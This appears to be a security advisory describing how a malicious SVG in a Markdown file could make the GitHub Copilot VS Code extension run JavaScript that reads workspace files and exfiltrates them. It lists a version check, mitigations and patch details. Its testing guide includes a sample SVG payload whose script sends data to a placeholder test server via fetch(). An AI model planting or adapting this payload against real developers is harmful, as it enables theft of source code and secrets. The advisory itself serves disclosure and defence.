GitHub Copilot Workspace Exfiltration via SVG Image Rendering Flaw
Overview
A vulnerability was discovered in the GitHub Copilot extension for Visual Studio Code that could allow an attacker to exfiltrate files from a user's workspace. The attack vector involved tricking a developer into opening a malicious repository or file. The repository would contain a Markdown file with an embedded SVG image tag (`<img>`). This SVG file, however, was not a standard image but a crafted XML document containing JavaScript code within a `<script>` tag. When Copilot pre-processed the Markdown file to gather context for providing suggestions, it used a vulnerable component in its webview-based renderer that failed to properly sanitize the SVG. This allowed the embedded JavaScript to execute within the context of the VS Code extension host. Because the Copilot extension has broad permissions to access the file system via the VS Code API (`vscode.workspace.fs`), the malicious script could read arbitrary files from the user's open workspace (e.g., `src/config.js`, `env/.prod.env`). The script would then encode the contents of these files and exfiltrate them to an attacker-controlled server via a `fetch()` request. This attack bypasses standard browser security policies because it executes within the more privileged context of the IDE's extension host.
Affected Systems
Testing Guide
1. Check your installed version of the GitHub Copilot extension in the 'Extensions' view in VS Code. 2. If the version is below 1.185.0, your installation is considered vulnerable. 3. To test safely, create a sandboxed environment. Create a Markdown file containing `<img src="path/to/malicious.svg">`. The `malicious.svg` should contain `<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('http://your-test-server.com/exfil?data=' + 'secret');</script></svg>`. 4. Open the Markdown file and monitor network traffic for an outbound request to your test server. Do not perform this test on a machine with sensitive data.
Mitigation Steps
1. **Update Extension**: Ensure the GitHub Copilot extension is updated to the latest version via the Visual Studio Code marketplace. 2. **Use Workspace Trust**: Enable and use the VS Code 'Workspace Trust' feature. Only open projects from trusted sources in a fully trusted mode. 3. **Audit Extensions**: Regularly review the permissions of installed VS Code extensions. Disable or uninstall any extensions that are no longer needed or seem overly permissive. 4. **Network Monitoring**: In a corporate environment, monitor outbound network traffic from developer machines for connections to unusual or untrusted endpoints.
Patch Details
Addressed in GitHub Copilot v1.185.0 by implementing stricter SVG content sanitization and sandboxing the rendering process.